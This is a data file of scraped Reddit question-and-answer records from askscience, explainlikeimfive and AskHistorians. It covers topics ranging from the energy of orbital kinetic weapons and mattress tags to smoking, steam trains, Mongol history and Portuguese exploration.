{"q_id": "lzvfi", "title": "How can a rod dropped from orbit have as much energy as a nuclear bomb when it reaches the Earth's surface?", "selftext": "Specifically, I was looking at this idea for a kinetic energy [weapon.](_URL_0_)  I doubt that launching a spaceshuttle to orbit would have used this much energy, so I don't see how this is possible with conservation of energy.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lzvfi/how_can_a_rod_dropped_from_orbit_have_as_much/", "answers": {"a_id": ["c2wxq9u", "c2wxqwc", "c2wxv61", "c2wy9ov", "c2wzd5v", "c2wzixp", "c2wzvg5", "c2x11xj", "c2wxq9u", "c2wxqwc", "c2wxv61", "c2wy9ov", "c2wzd5v", "c2wzixp", "c2wzvg5", "c2x11xj"], "score": [4, 33, 10, 16, 2, 7, 2, 8, 4, 33, 10, 16, 2, 7, 2, 8], "text": ["Dropping it from orbit is a misconception - you have to propel it out of orbit. Shoving it out an airlock of an orbital means it doesn't go very far.\n\nPropel it with enough kinetic energy and it will deliver the same energy as an arbitrary nuclear device when it hits something.\n\nApparently the energy required to get the shuttle to LEO is about 3.38 TJ. A one megaton explosion comes to about 4184 TJ. So, yes, the energy expended to get the shuttle up there is far less than a 1 megaton bomb releases. \n\nBut have that kinetic weapon slam into the earth at orbital velocity and the game changes. A 100 Kg projectile moving at 36 km/s (those values are basically random) carries 65 GJ of energy.", "They're exaggerating. A small yield device like [Little Boy](_URL_1_) yielded [63 TJ](_URL_0_) or 63 trillion Joules of energy.\n\nA projectile traveling at 11,000 m/s (36,000 fps) would yield 1/2 mv^2 or 60.5 million Joules, a millionth of Little Man, per kilogram of projectile mass.\n\nOn the other hand, since this amount of energy would be concentrated in a relatively small cross section, it would carry tremendous penetrating power, but that's harder to calculate than just energy.", "If you had a nuclear device and turned 100% of the fissible material into energy, it would produce m * c^2 where m is the mass and c is the speed of light.  Practical nuclear weapons convert a fraction of one per cent of their fissible material into energy.\n\n\n\n\nThe most energy that you could release from a collision between a moving and a static object would be 1/2 m v^2 where v is the speed of the object.  So releasing the same amount of energy as a nuclear explosion would require a far far greater mass, or a velocity reasonably close to the speed of light.  The escape velocity of the earth (which is the same as the velocity that an object would strike the earth if it started off in deep space and fell to earth) is a measly 1.1 x 10^4 m/s which is pretty pathetic compared to the speed of light.  So if an object fell to earth from space, it would release about 0.0001% of the energy of the same mass of fissible material in a nuclear bomb.  Oh, and that's ignoring air resistance.\n\n\n\n\n\nIn other words, you'd need at the very least about 10 tons of mass falling from way out in space to match a small nuclear bomb.  Very approximately.", "11,000 m/s is a laughable velocity. It's the escape velocity of earth. Something falling back into the atmosphere would be subject to drag from the atmosphere and wouldn't go nearly that fast. \n\nThe physics of this idea is broken. ", "i don't think it really does.  like mutatron already pointed out with the kinetic energy equation 1/2 mv^2, the \"rods from god\" output less energy than nuclear bomb even as small as the one that was dropped in hiroshima.  But it also depends on the terminal velocity of the rod(how it is design aerodynamically) or if you could strap a booster and ignite it a min before it lands to give it an extra kick.  But the advantage those things have is that it's clean and has concentrated fire instead of having nuclear bomb destroy a mass radius and fried everything w/ EMP.  this reminds me of a comic strip i read on a newspaper once w/ alien laughing at us in their spaceship for not being a threat to them because we are so stupid that we couldn't point our weapons right.", "I love theoretical weaponry. That being said, this idea strikes me as a bit daft.\n\n1. Wouldn't a kinetic penetrator released from geosynchronous orbit without propulsion idle next to whatever platform it was released by, till tidal forces or earth's asymmetry eventually degraded the orbit enough to pull it in?\n\n2. Would launching the tungsten dart via some external means, such as from an onboard railgun or conventional chemical reaction (cannon) blow the launch platform into the eternity of space should it be resilient enough to not be blown to bits?\n\n3. If the penetrator gets launched from what is essentially a space gun, doesn't the 'gun' have to be either much heavier than the projectile to be practical or the charge sufficiently energetic enough to have been a more practical weapon itself? Wouldn't that make a lunar launch platform substantially more practical than a satellite?\n\n4. The only advantage I can see is that you'd get some hellacious penetration depth from a single strike, but even assuming the viable weaponized energy is concentrated in a radius of only a few (tens of?) meters, what's the advantage over rapid conventional weapon strikes?", "Would be an incredible waste of tungsten, considering it's becoming exceedingly close to depletion in natural reserves. ", "I think the point of this isn't that is has the same amount of total energy, but that is has the same (or greater) destructive force on a point target as a nuke... something it would take a LOT of conventional explosives to replicate. Its intent is to destroy bunkers or other hardened targets that might be able to survive conventional bombardment, not to exact the same type of wide scale destruction as a nuke.\n\nYou're talking about directing roughly 1/100th the energy of Hiroshima (using calculations above) onto a 1 foot diameter cross section. There is nothing with that kind of penetrative power currently available. Not even tactical \"bunker busting\" nukes can do that... they still, like Hiroshima, throw a huge portion of that energy right back into the atmosphere.\n\nRemember, explosions (conventional chemical or nuclear) take the path of least resistance... a solid projectile will just keep going until the kinetic energy imparted upon it (through whatever means, in this case gravity) has been dissipated.", "Dropping it from orbit is a misconception - you have to propel it out of orbit. Shoving it out an airlock of an orbital means it doesn't go very far.\n\nPropel it with enough kinetic energy and it will deliver the same energy as an arbitrary nuclear device when it hits something.\n\nApparently the energy required to get the shuttle to LEO is about 3.38 TJ. A one megaton explosion comes to about 4184 TJ. So, yes, the energy expended to get the shuttle up there is far less than a 1 megaton bomb releases. \n\nBut have that kinetic weapon slam into the earth at orbital velocity and the game changes. A 100 Kg projectile moving at 36 km/s (those values are basically random) carries 65 GJ of energy.", "They're exaggerating. A small yield device like [Little Boy](_URL_1_) yielded [63 TJ](_URL_0_) or 63 trillion Joules of energy.\n\nA projectile traveling at 11,000 m/s (36,000 fps) would yield 1/2 mv^2 or 60.5 million Joules, a millionth of Little Man, per kilogram of projectile mass.\n\nOn the other hand, since this amount of energy would be concentrated in a relatively small cross section, it would carry tremendous penetrating power, but that's harder to calculate than just energy.", "If you had a nuclear device and turned 100% of the fissible material into energy, it would produce m * c^2 where m is the mass and c is the speed of light.  Practical nuclear weapons convert a fraction of one per cent of their fissible material into energy.\n\n\n\n\nThe most energy that you could release from a collision between a moving and a static object would be 1/2 m v^2 where v is the speed of the object.  So releasing the same amount of energy as a nuclear explosion would require a far far greater mass, or a velocity reasonably close to the speed of light.  The escape velocity of the earth (which is the same as the velocity that an object would strike the earth if it started off in deep space and fell to earth) is a measly 1.1 x 10^4 m/s which is pretty pathetic compared to the speed of light.  So if an object fell to earth from space, it would release about 0.0001% of the energy of the same mass of fissible material in a nuclear bomb.  Oh, and that's ignoring air resistance.\n\n\n\n\n\nIn other words, you'd need at the very least about 10 tons of mass falling from way out in space to match a small nuclear bomb.  Very approximately.", "11,000 m/s is a laughable velocity. It's the escape velocity of earth. Something falling back into the atmosphere would be subject to drag from the atmosphere and wouldn't go nearly that fast. \n\nThe physics of this idea is broken. ", "i don't think it really does.  like mutatron already pointed out with the kinetic energy equation 1/2 mv^2, the \"rods from god\" output less energy than nuclear bomb even as small as the one that was dropped in hiroshima.  But it also depends on the terminal velocity of the rod(how it is design aerodynamically) or if you could strap a booster and ignite it a min before it lands to give it an extra kick.  But the advantage those things have is that it's clean and has concentrated fire instead of having nuclear bomb destroy a mass radius and fried everything w/ EMP.  this reminds me of a comic strip i read on a newspaper once w/ alien laughing at us in their spaceship for not being a threat to them because we are so stupid that we couldn't point our weapons right.", "I love theoretical weaponry. That being said, this idea strikes me as a bit daft.\n\n1. Wouldn't a kinetic penetrator released from geosynchronous orbit without propulsion idle next to whatever platform it was released by, till tidal forces or earth's asymmetry eventually degraded the orbit enough to pull it in?\n\n2. Would launching the tungsten dart via some external means, such as from an onboard railgun or conventional chemical reaction (cannon) blow the launch platform into the eternity of space should it be resilient enough to not be blown to bits?\n\n3. If the penetrator gets launched from what is essentially a space gun, doesn't the 'gun' have to be either much heavier than the projectile to be practical or the charge sufficiently energetic enough to have been a more practical weapon itself? Wouldn't that make a lunar launch platform substantially more practical than a satellite?\n\n4. The only advantage I can see is that you'd get some hellacious penetration depth from a single strike, but even assuming the viable weaponized energy is concentrated in a radius of only a few (tens of?) meters, what's the advantage over rapid conventional weapon strikes?", "Would be an incredible waste of tungsten, considering it's becoming exceedingly close to depletion in natural reserves. ", "I think the point of this isn't that is has the same amount of total energy, but that is has the same (or greater) destructive force on a point target as a nuke... something it would take a LOT of conventional explosives to replicate. Its intent is to destroy bunkers or other hardened targets that might be able to survive conventional bombardment, not to exact the same type of wide scale destruction as a nuke.\n\nYou're talking about directing roughly 1/100th the energy of Hiroshima (using calculations above) onto a 1 foot diameter cross section. There is nothing with that kind of penetrative power currently available. Not even tactical \"bunker busting\" nukes can do that... they still, like Hiroshima, throw a huge portion of that energy right back into the atmosphere.\n\nRemember, explosions (conventional chemical or nuclear) take the path of least resistance... a solid projectile will just keep going until the kinetic energy imparted upon it (through whatever means, in this case gravity) has been dissipated."]}, "title_urls": [], "selftext_urls": ["http://www.popsci.com/military-aviation-space/gallery/2008-05/worlds-spookiest-weapons?image=16"], "answers_urls": [[], ["http://hypertextbook.com/facts/2000/MuhammadKaleem.shtml", "http://en.wikipedia.org/wiki/Little_Boy"], [], [], [], [], [], [], [], ["http://hypertextbook.com/facts/2000/MuhammadKaleem.shtml", "http://en.wikipedia.org/wiki/Little_Boy"], [], [], [], [], [], []]}
{"q_id": "3eeue1", "title": "what is the purpose of \"not to be removed except by consumer\" tags on mattresses, pillows, and the like?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3eeue1/eli5_what_is_the_purpose_of_not_to_be_removed/", "answers": {"a_id": ["cte9z9j", "ctea90s", "ctec974", "cteceoz"], "score": [17, 74, 3, 2], "text": ["Usually those tags contain specific information regarding issues such as consumer safety. Like don't place this item near hot things or whatever. It's supposed to stay on until it gets to you so that you know what to do or not do with the product. \n\nIt also helps protect the manufacturer from being taken to court over someone being dumb. Similar to how coffee cups have to warn you that the \"contents may be hot\". ", "There are laws requiring certain items (for example, upholstery, mattresses) to be labeled clearly showing what they are made of. It's illegal for the store or the wholesaler to remove the tag before the final consumer buys the item, because they are entitled to know what it's made of.", "People make fun of these tags but they do serve a purpose.  Its to tell you whats inside of your mattress, couch cushions, stuffed animals etc.  Without these tags you might not know whats in them.  In the past, there were shady manufacturers that would stuff all sorts of garbage into these items and consumers wouldn't know any better, that way manufacturers can save money not buying new materials.  No one wants to sleep on a new pillow they bought only to discover that the pillows were filled with used tampons, shredded old clothes, etc (this a gross example, but I'm just tying to make a point).  The government regulations of having these tags are trying to prevent things like that from happening. Consumers can look at the tag before they buy the product to know exactly what its filled with. So once the consumer has bought the pillow or whatever, the tag has served its purpose and can be removed.  Plus, the item now belongs to the consumer and they can pretty much do whatever they want with it.", "Mattress tags should list its contents, like if the material is cotton, wool, polyester, or whatever. Being allergic to wool, this is good information for me to know. Also if the material is new, or second hand, if second hand, if it was sanitized. Other things like fire retardant chemicals need to be listed. This is a lot of info that the *consumer* should get. Also, if I pay for a new mattress, I want to know that I am getting what I paid for. \n\nTLDR - Don't buy a mattress if there is no tag, or if the tag looks like it is not original to the mattress."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6561xo", "title": "why is smoking bad for you specifically and emotionally what can it do to your body? how long would it take to smoke for it to hurt your body?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6561xo/eli5_why_is_smoking_bad_for_you_specifically_and/", "answers": {"a_id": ["dg7oprs", "dg7p2my", "dg7pbpk", "dg7qgp7"], "score": [22, 2, 3, 9], "text": ["Gonna assume you mean smoking tobacco.\n\nTobacco smoke contains carcinogenic compounds. These are chemicals that attack the DNA in your cells. 99.9% of the time that just results in the cell dying, and your body replacing it, but a small fraction of cells will become cancerous and start multiplying. Every cigarette is basically playing the cancer lottery. You could get cancer from the first one you ever smoke (*very* unlikely) or you could smoke 50 a day for 40 years and never get cancer (also *very* unlikely). \n\nTobacco smoke also contains tar and other chemicals bad for your mouth, throat, and lungs. Smoking *will* lead to emphysema, and other lung disease, causes high blood pressure, and seriously increases your risk of heart attack and stroke. It also kills your senses of taste and smell pretty effectively.\n\nSmoking is never good for you, and it's a habit you should definitely avoid. Trust me. It's inconvenient, expensive, and a total bitch to quit. \n\nEdit: Nicotine is a seriously lame drug anyway. You get a little buzz at first, but after you get tolerant to it you get nothing at all except a constant craving to go smoke.", "Smoking immediately begins to harm your body short-term by depriving you of your normal intake of oxygen (causing light-headedness and muscle weakness), as well as the nicotine causing your blood flow to constrict, increasing blood pressure. Tar and other materials immediately begin getting deposited and stored in your lungs. However, it's a build up over time that causes most long-term smoking issues.\n\nTo answer a follow up question, \"How long does it take to get clean?\", most long-term smokers take about 2 years before their lungs return to a normal capacity, but may require additional work (such as aerobic exercises) or time depending on the exact habits of their smoking.\n\n**Edit:** In this case, \"long term\" is anything more than \"social smoking\" for more than a year, but any amount of smoking can cause complications depending on pre-existing conditions.", "There's no recognized \"lower limit\" to smoking safety, one cigarette is theoretically enough to cause harm. That being said, many of the prominent harms from smoking, increased cancer risk, decline in lung capability, are cumulative effects. So the more you smoke, the greater your risk/harm. But *any* smoking is recognized as a risk. ", "Imagine you're at a theme park and you get on one of those white-water rapid rides. When the ride ends, what are you probably  going to see? Some of the riders are going to be soaked. Some are going to be at least a little wet. And there will probably be at least one person who didn't get wet at all. \n\nThat's kind of how the negative effects of smoking work on a group. Most people are going to feel some negative effects from smoking over time. Some are going to get drenched in health issues (like cancer). A lucky few will get through unscathed.\n\nIn both cases, the more you ride/smoke, the greater the likelihood that your luck runs out.\n\nI'm oversimplifying, of course, but I think it's a decent analogy. You get on the water ride assuming you'll get wet, not that you'll stay dry. You should pick up cigarettes assuming they'll cause health problems at some point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4geepe", "title": "why did steam trains (at least those shown in movies) have guys shoveling coal? why not install a chute from the coal car to the firebox?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4geepe/eli5_why_did_steam_trains_at_least_those_shown_in/", "answers": {"a_id": ["d2gs87y", "d2gs92v", "d2gseuf", "d2guthv", "d2gxgy0", "d2h2tlf"], "score": [50, 8, 14, 10, 5, 3], "text": ["A chute wouldn't disperse the coal across the grate. The fireman's job was more than just shovelling into a hole; the fuel had to be directed towards the parts of the grate where it was needed, which would vary according to the draught and other factors.\n\nOf course, oil-fired locos managed without, but their firebox was arranged differently.", "Because they carried a lot of coal.  It wouldn't be practical to build something high enough (like a grain silo) to feed the engine.\n\n", "Cost of fancy chute that put just the right amount of coal in just the right place  >  >  Cost of guy with shovel.\n\nIn the steam train era the sort of automatic control that could assess conditions inside the boiler and do the right thing was impossible to build, no computers, and training a fireman was much more plausible.", "some later locomotives used coal crushers and Archimedes screws to \"blow\" coal into the firebox. They still needed firemen to control the flow rate of the coal and adjust the direction/placement with controls on end of the blower.\n\nMost of the larger later US steam engines like Union Pacific's Challengers and Big Boy classes would of needed more coal to burn than a man could shovel, or reach the back of the firebox with a shovel. Many other late designs used similar designs even if they were smaller because it was safer and easier on the crews.", "Fun fact: there's a sandbox in the cab with a scoop, and flinging scoops of sand into the boiler knocks soot off the inside of the boiler tubes to produce nice big billows of black smoke (and cleaner tubes). This is done when filming steam trains to get that black smoke effect.\n\nI've used sand to make black smoke, but not for a movie - my friend worked at a tourist steam train for many years.", "Hey, A little late to the party but here I go.\nJust as /U/skipweasel stated, The fireman not only had to shovel coal into the firebox, but the coal had to be evenly distributed on the firegrate in order to have maximum efficiency. that being said there were many steam locomotives that used steam powered [stokers](_URL_0_) to disperse coal into the firebox. Many larger North American locomotives went through literally tons of coal an hour. [Union Pacific Big Boys](_URL_1_) could go through about 28 tons of coal an hour. Hope I helped!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.martynbane.co.uk/images/modernsteam/tech/elvin3-600.jpg", "https://en.wikipedia.org/wiki/Union_Pacific_Big_Boy#/media/File:Big_Boy_4006.jpg"]]}
{"q_id": "3nj56u", "title": "Did Genghis Khan ever learn of Atilla the Hun?", "selftext": "Did history's greatest conqueror look up to the scourge of late Rome? Other great conquerors and generals of history have looked to past greats for inspiration, did GK do the same?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3nj56u/did_genghis_khan_ever_learn_of_atilla_the_hun/", "answers": {"a_id": ["cvotq28", "cvp15q2"], "score": [39, 49], "text": ["To expand upon the question, would the great Khan have known of the existence of Alexander the Great?\n\nIf not Atilla, would there have been some other historical figure that would be featured prominently in (hi)stories familiar to a mongolian or turkic steppe nomad chieftain?", "I will attempted to answer this question. Its a tricky question to answer because we simply don't have the information.\n\nAs far as I can tell, we have no references from early days of the mongol empire to earlier conquerers that we would know. The mongols had their own oral tradition and memories. They had their own heroes and culture.\n\nHowever I can not say it is impossible for him to know some of these stories. The mongols met people who could have know about Attila as early as 1220 when they met people from Venice and quite possible others. However it seems unlikely that these traders knew about 700 year old roman writings (even if they were important for Christian History) and even less so that they shared this with the mongols (who were mostly not christian). The contact was not very extensive at that time.\n\nSo I think Atilla is a very unlikely candidate, Genghis Khan would probably never have heard of.\n\nAnother candidate would be Alexander the Great, as asked by u/spaceman_. Alexander had turned into a folk legend and their were many versions of him floating around all the medieval world, all the way from Europe to India. However its very unlike that the mongols would have known these tales during Genghis Khans lifetime. Once his sons and grandsons went deeper into Europe and the Middle East they surly would have learn of local legends and such, but they were probably not guiding them. They had their own justification to conquer the world, they did not need to imitate Alexander.\n\nTheir are a number of great Steppe Empires that ruled from the Eastern Steppe that are more likely to have left a lasting memory, but those would have been oral history for the most part.\n\nThe mongols early on had contact with the Uyghurs who had a form of written language. However I have never heard of historical works written in that script, or that the mongols read them. However Im certainly not a expert on Uyghur writings. \n\nAll in all the mongols had their own oral tradition, and I don't think we know much about what it was. Any conquerers known to us, were probably not known to the early mongols. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "avm67l", "title": "snc-lavalin corruption scandal in canada involving justin trudeau and attorney general jodie wilson", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/avm67l/eli5_snclavalin_corruption_scandal_in_canada/", "answers": {"a_id": ["ehg6gts"], "score": [3], "text": ["The short and skinny of it it that senior officials pressured the attorney general to not prosecute a corrupt company because that company donates to the Liberal party, the QPP is a primary investor in its stocks so they would lose a ton of money for French Canadians and thousands of French Canadians would potentially lose their jobs. It's saying that the current government thinks rich French people in Canada shouldn't be held to the same set of laws as the rest of us. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4rvza8", "title": "what's happening at deutsche bank?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4rvza8/eli5_whats_happening_at_deutsche_bank/", "answers": {"a_id": ["d54kf2z"], "score": [7], "text": ["I'm not aware of the nitty-gritty of the situation, but what I have read from it is that DB seems to be in a similar slump as Lehman Brothers was back then when it failed (complete with excessive leverage; at 40-to-1 it makes even Lehman's 31-to-1 look tame), but if DB falls, it's definitely going to take another bank or two with it (Barclays might be an immediate victim, Citigroup would also be at risk).\n\nWith DB shares being lower than they were even during the worst parts of the 2008 crisis, and 48% down annually. That makes investors uneasy, naturally. The Brexit vote has added to the crisis.\n\nThat was ELI5 (and also explaining like I'm five as well because it's really not a good explanation, methinks), so [here's a more in-depth thing.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://seekingalpha.com/instablog/225780-chris-vermeulen/4896357-deutsche-bank-initiate-next-financial-crisis"]]}
{"q_id": "1zdnp0", "title": "tax exemption for children", "selftext": "I'm doing a project for school which requires me to come up with a budget if I was making 9.50 an hour working 40 hours a week. I'm supposed to have two children, a two year old and a six year old. I'm not sure what kind of benefits I would get back, and am even more confused after I Googled it. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zdnp0/eli5tax_exemption_for_children/", "answers": {"a_id": ["cfsql87"], "score": [3], "text": ["You get a personal exemption on your taxes for yourself of $3900, and also $3900 per dependent child. Given $19,760 that you make during the year, you can claim the full amount of the exemption ($11,700), leaving the taxable portion income at $8,060. You'll also qualify for the Earned Income Tax Credit for a few grand to offset the taxes (I'm not going to hazard figuring it out here). The welfare that you receive so as to not starve to death can affect your taxes too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fcodq0", "title": "Big Battle Clean-Up", "selftext": "For the really big historical battles, tens or even hundreds of thousands dead...\n\nHow were the battelfields cleaned up afterwards? Bodies? Arms and munitions? Trenches? Etc..\n\nEspecially in older times, say 1600's or earlier?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fcodq0/big_battle_cleanup/", "answers": {"a_id": ["fjc5wng"], "score": [2], "text": ["Hey there! Can you please narrow down the time frame of your question a little further? Infinity to 1600 covers...a lot of different types of battles, battlefields, and armies.\n\nThanks!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "10jhe6", "title": "The Soviet Union's relations and its Asian Republics (Then and now)", "selftext": "With*. Stupid titles.\n\n\nIn my first semester at college, I ended up getting paired with a roommate from Kazakhstan. Among the many things that we talked about, we discussed his view on Russia. To my surprise, he told me how much he admired Putin and the Russian spirit and that he wouldn't really mind if the Soviet Union reformed. I had assumed that the feelings most Kazakh's had towards Russia would be animosity after nearly 100 years of domination.\n\nDidn't the Soviet domination of Kazakhstan and the other republics constitute neo colonialism? Didn't it mean an end to the self-determination of the Kazakh people? Is the attitude my roommate had unusual? Or do most people from the Asian republic's actually miss being apart of the Union? If my roommate's attitude really is representative of many Kazakhs, then what explains the differences between their attitudes and those of say, the Chechen's? \n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10jhe6/the_soviet_unions_relations_and_its_asian/", "answers": {"a_id": ["c6e2gxs", "c6e3g2s", "c6e7u62"], "score": [4, 2, 7], "text": ["Was he ethnically Kazak? It looks like there ethnic Kazaks only make up 63% of the country. ", "Putin is talking about forming a [Eurasian Union](_URL_0_) which would include pro-Russian countries of the former USSR.", "Former Post-Soviet politics researcher here, let me take a stab: \n\nYou are right that the other 14 republics of the Soviet Union (Kazakhstan included) experienced a harsh transition from their post-colonial musings to Soviet times. Many states (like Georgia) were invaded and *Leninized* if you will. (Most people say *Russified* but I take the position that imperial Tsarist Russia was *Rus*). They were then *Stalinized* which was just as collective, but more brutal than Lenin. Everyone, ethnic Russians included suffered equally in these days. \n\nNow let's look at a time when the Soivet Union calmed down a little bit (Brezhnev era). The republics were used for cheap sources of *internal-outsourcing* (I love the ironic nature of that). Kazakhstan was used as the base of much of the Soviet nuclear and space program. This never could have happened had they been an independent country. They mattered, and got quite the influx of brain power. \n\nNow after the Soviet Union collapsed, the republics were snatched up by opportunist KGB and bureaucratic officials that called themselves \"nationalists\", or by true nationalists (usually far-right. *i.e.* 1991 Georgia) This power grab created many failed states, oligarchs, organised crime, and corruption in what used to be a fairly stable and functioning state (very low levels of crime, progressive social policies towards women and minorities, and a calm and profitable black market). \n\nIf this is the alternative to the Soviet times, it is easy to see why some might call for a re-forming. \n\ntl;dr Everyone suffered under Stalin, the 1970's and 1980's were profitable, and the republics got massive amounts of infrastructure and technology. The Post-Soviet times were that of oligarchs, organized crime, wars, and extremely nationalistic/corrupt officials. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Eurasian_Union"], []]}
{"q_id": "8he0bm", "title": "Was the Age of Exploration a direct effect of the fall of Constantinople? Were there preliminary attempts to find an alternative route to Asia before then? Would they have been state-sponsored?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8he0bm/was_the_age_of_exploration_a_direct_effect_of_the/", "answers": {"a_id": ["dyj3ole"], "score": [8], "text": ["I [wrote](_URL_0_) about [this](_URL_5_) topic [many](_URL_1_) times [before](_URL_3_), and in short: **NO**, the fall of Constatinople most definitely was **NOT** direct cause for start of Age of Exploration. \n\nMost of the premises for this thesis are actually incorrect. Most importantly, Portuguese started exploring Africa before 1453 which alone answers your question, but also it is probably important to note that Constantinople was not really that important for [trade with Asia](_URL_2_) as much as Egypt and Levant, which were not under Ottoman control but Mamluk, and where trade was going uninterrupted. If anything Iberians just wanted to find Asia to get around *all* the middlemen, and buy directly and cheaply at the source.\n\nNow, let's move to the second question. There were few voyages circumnavigating Africa in ancient times, most famous the one from Hanno of Carthage. That voyage, and some additional ones are mentioned in ancient works, e.g. the one I know of is Pliny's [*Natural History*, book II, chapter 67](_URL_4_) where they are retold. Pliny's work and specifically those voyages are referenced by some Portuguese of 1500s, meaning they were familiar with them. Unfortunately ancient times are not my specialty, so I can't go into details of those expeditions\n\n\nLet's now switch back to Christian Middle Ages, which I am familiar with, and which I assume you inquire about. Before the Portuguese start of exploring Africa (usually given as 1415 when they took the city of Ceuta on North African shore) there was a famous attempt by two Genoese brothers, Vandino and Ugolino Vivaldi, who already in 1291 took a galley and sailed down Africa attempting to reach Asia. Nothing was heard from there ever again, but we do find some references to the attempt in Portuguese works much later, meaning in it somehow remained in popular imagination.\n\nThe next attempts I know of were Portuguese attempts down the coast of Africa. They were technically preceded by Castillian-French attempts to colonize Canaries in 1402, but overall not much exploration was done. So after 1415, Portuguese, under command of prince Henrique or Anrique or most famously known as Henry the Navigator, started sailing down Africa. They passed the southernmost reached position of Cape Bojador in 1434, after which they were systematically \"exploring new lands\". The exploration voyages were in the beginning actually more like slave raids, but effort to chart, note, and explore new areas was always made. By the time of 1453, they already [reached Sub-Saharan Africa](_URL_6_) and rivers of Senegal and Gambia. Now technically, they didn't really want to reach Asia just *yet* (despite some ambiguous notes saying they had that general idea) and were mostly content with trade with Africa (or Guinea as they called it) but Age of Exploration had definitely started and those early voyages formed a foundation on which the exploration would continue until their famous peak in 1492 and 1497.\n\nNow, were those attempts \"state-sponsored\"? Vivaldi brothers definitely not, they were a single merchants idea and execution. Was the Portuguese effort \"state\"? That's more complicated than it seems. Initially, prince Henry the Navigator was investing in the exploration, and he *was* Royal Family and was definitely backed by the state in some ways. He was granted monopoly on new discovered lands and Crown transferred some rights like taxation to him and his successors. However at the same time, Henry financed his own expeditions, investing his own money, money of Order of Christ he was in charge of, as well as money he borrowed from various foreign and domestics bankers and rich men. In that way, the expeditions were more a private venture, but heavily interconnected with the State.\n\nAfter Henry's death in 1460, and you see we are already in post 1453 time, the Portuguese slightly stopped with exploration efforts, but revived it in 1470s in a nice example of state-private cooperation. The Crown leased the rights for exploitation of the new lands for 5 years for a monetary compensation and under a condition that 100 leagues of new coast is explored. This arrangement, very succesful, lasted until 1476, after which Prince Jo\u00e3o, future king Jo\u00e3o II, took full control of exploration back into Crown's control and with which it became a fully state-sponsored venture, and would remain so for some time.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/5kiiyc/how_much_did_the_fall_of_constantinople_influence/", "https://www.reddit.com/r/AskHistorians/comments/71k5lm/to_what_degree_was_the_ottoman_conquest_of/dnch9la/", "https://www.reddit.com/r/AskHistorians/comments/4ak4cc/as_i_understand_it_columbus_was_trying_to_create/", "https://www.reddit.com/r/badhistory/comments/7nv7ts/spice_must_flow_aka_ottomans_stopped_the_spice/", "http://www.perseus.tufts.edu/hopper/text?doc=Perseus%3Atext%3A1999.02.0137%3Abook%3D2%3Achapter%3D67", "https://www.reddit.com/r/AskHistorians/comments/5x8zkd/to_what_extent_did_the_fall_of_byzantium/", "https://i.imgur.com/cYFkRQ2.png"]]}
{"q_id": "1u1mvw", "title": "Can an infant suffer from Clinical Depression?", "selftext": "Is it something only children and adults can suffer from or can a baby (under the age of 12 months) be depressed?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1u1mvw/can_an_infant_suffer_from_clinical_depression/", "answers": {"a_id": ["ceeva9x"], "score": [2], "text": ["There wouldn't be any good way to gauge this. My gut says no, and many people dislike the rationale but bear with me:\n\nHuman infants are still developing in many many ways. Depression isn't well understood but we know it is a derangement of mood and emotion. Infants and even children are still forming and developing their emotional systems. It isn't just a societal conditioning thing we are talking about. The pediatric brain is actually different than the adult brain. As such it would be difficult to characterize such diseases in those at the extreme end of under development (infants). \n\nNow... You said \"clinical\" in your question. Depression , like many clinical diagnoses, is difficult for many people to understand because it is based off a fulfillment of specific criteria. So aside from the biology I mentioned, an infant would have to describe decreased mood, alterations in sleep, loss of interest in daily activities (\"Doc, drooling just doesn't give me the enjoyment it used to\") , and/or a number of other \"clinical findings\" in order to meet the criteria. In that sense, an infant wouldn't ever meet the definition of \"clinical depression\". "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "wy1en", "title": "In feces, do we excrete any bodily waste that isn't undigested food or intestinal bacteria? That is to say, does our body dump any waste into the intestines to get rid of it like our body does with urine?", "selftext": "Do we excrete any bodily waste that *isn't* undigested food or intestinal bacteria in our feces? That is to say, does our body dump any waste into the intestines to get rid of it like our body does with urine?\n\nThank you. :)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wy1en/in_feces_do_we_excrete_any_bodily_waste_that_isnt/", "answers": {"a_id": ["c5hg21t", "c5hg2tj"], "score": [6, 6], "text": ["I know of hemoglobin catabolism. We break down old red blood cells, and one of the end products, stercobilin, is responsible for the brown color of fecal matter.", "I am a scientist who studies various marine biotoxins, generally produced by algae. Many of these compounds including [domoic acid](_URL_0_) are excreted partially or entirely in the feces. \n\nAlso, many other metabolic wastes wind up in fecal matter as well, but that's not my field so I'll let those folks handle that part."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Domoic_acid"]]}
